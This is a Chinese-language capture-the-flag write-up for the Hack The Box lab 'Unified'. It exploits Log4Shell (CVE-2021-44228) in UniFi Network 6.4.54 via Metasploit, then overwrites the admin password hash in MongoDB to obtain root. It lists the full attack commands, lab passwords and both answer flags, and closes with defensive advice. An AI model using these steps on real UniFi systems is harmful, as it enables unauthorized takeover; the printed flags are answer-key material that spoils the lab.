[StartingPoint][Tier2]Unified
字数 1349 2025-08-19 12:42:34

UniFi网络设备漏洞利用与分析教学文档

1. 目标识别与端口扫描

首先使用Nmap对目标进行扫描,识别开放的端口和服务:

nmap -sC -sV -v 10.129.104.207

扫描结果显示以下四个开放端口:

  • 22: SSH服务
  • 6789: 未知服务
  • 8080: HTTP服务
  • 8443: HTTPS服务(运行UniFi Network软件)

2. UniFi Network软件识别

访问8443端口发现运行的是UniFi Network软件,通过8080端口可以获取版本信息:

  • 软件名称:UniFi Network
  • 版本号:6.4.54

3. 漏洞识别

该版本存在已知漏洞:

  • CVE编号:CVE-2021-44228(Log4j远程代码执行漏洞)
  • 漏洞类型:JNDI注入

4. JNDI注入攻击原理

JNDI(Java Naming and Directory Interface)注入利用:

  • 利用协议:LDAP(轻量级目录访问协议)
  • 默认端口:389
  • 工作原理:通过调用JNDI API,应用程序可以定位资源和其他程序对象,攻击者可以构造恶意LDAP查询实现远程代码执行

5. 攻击实施与流量监控

攻击工具准备

  1. 使用tcpdump监控LDAP流量:
tcpdump -i tun0 port 389
  1. 使用Metasploit框架构建攻击载荷:
msfconsole
search log4j
use 2
set rhosts 10.129.231.63
set srvhost tun0
set lhost tun0
check
run

会话提升

Ctrl+Z
search shell_to
use 0
sessions -l
set session 1
run
sessions -i 2
meterpreter> shell

6. MongoDB服务分析

服务识别

ps aux|grep mongo

发现MongoDB运行在27117端口

UniFi默认数据库

  • 默认数据库名称:ace

MongoDB用户操作

  1. 枚举用户:
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
  1. 更新用户密码(使用SHA-512哈希):
mkpasswd -m sha-512 s-h4ck13
mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$i2Bx4z4kMsLW5K2Y$2chqfNY/6YEqDvBjk4GEJKsZlh39tfdr73boSEI2RKzhLkfP.g.YRIvY2OQr1RESU3D2eIl/5A3cmZy5L2cKp/"}})'

7. 权限提升与凭证获取

UniFi管理员凭据

  • 用户名:administrator
  • 密码:s-h4ck13

SSH root凭据

在UniFi管理界面Settings->Site选项卡下找到:

  • 用户名:root
  • 密码:NotACrackablePassword4U2022

8. 标志获取

用户标志

find / -name user.txt
cat /home/michael/user.txt

用户标志:6ced1a6a89e666c0620cdb10262ba127

root标志

root标志:e50bc93c75b634e4b272d2f771c33681

关键命令总结

功能 命令
端口扫描 nmap -sC -sV -v <IP>
LDAP流量监控 tcpdump -i tun0 port 389
MongoDB用户枚举 mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
MongoDB用户更新 mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"<hash>"}})'
密码哈希生成 mkpasswd -m sha-512 <password>

安全建议

  1. 及时更新UniFi Network软件到最新版本
  2. 禁用不必要的JNDI查找功能
  3. 限制MongoDB的远程访问
  4. 使用强密码策略,避免使用默认凭证
  5. 实施网络分段,限制对管理界面的访问
UniFi网络设备漏洞利用与分析教学文档 1. 目标识别与端口扫描 首先使用Nmap对目标进行扫描,识别开放的端口和服务: 扫描结果显示以下四个开放端口: 22: SSH服务 6789: 未知服务 8080: HTTP服务 8443: HTTPS服务(运行UniFi Network软件) 2. UniFi Network软件识别 访问8443端口发现运行的是UniFi Network软件,通过8080端口可以获取版本信息: 软件名称:UniFi Network 版本号:6.4.54 3. 漏洞识别 该版本存在已知漏洞: CVE编号:CVE-2021-44228(Log4j远程代码执行漏洞) 漏洞类型:JNDI注入 4. JNDI注入攻击原理 JNDI(Java Naming and Directory Interface)注入利用: 利用协议:LDAP(轻量级目录访问协议) 默认端口:389 工作原理:通过调用JNDI API,应用程序可以定位资源和其他程序对象,攻击者可以构造恶意LDAP查询实现远程代码执行 5. 攻击实施与流量监控 攻击工具准备 使用tcpdump监控LDAP流量: 使用Metasploit框架构建攻击载荷: 会话提升 6. MongoDB服务分析 服务识别 发现MongoDB运行在27117端口 UniFi默认数据库 默认数据库名称:ace MongoDB用户操作 枚举用户: 更新用户密码(使用SHA-512哈希): 7. 权限提升与凭证获取 UniFi管理员凭据 用户名:administrator 密码:s-h4ck13 SSH root凭据 在UniFi管理界面Settings->Site选项卡下找到: 用户名:root 密码:NotACrackablePassword4U2022 8. 标志获取 用户标志 用户标志:6ced1a6a89e666c0620cdb10262ba127 root标志 root标志:e50bc93c75b634e4b272d2f771c33681 关键命令总结 | 功能 | 命令 | |------|------| | 端口扫描 | nmap -sC -sV -v <IP> | | LDAP流量监控 | tcpdump -i tun0 port 389 | | MongoDB用户枚举 | mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);" | | MongoDB用户更新 | mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"<hash>"}})' | | 密码哈希生成 | mkpasswd -m sha-512 <password> | 安全建议 及时更新UniFi Network软件到最新版本 禁用不必要的JNDI查找功能 限制MongoDB的远程访问 使用强密码策略,避免使用默认凭证 实施网络分段,限制对管理界面的访问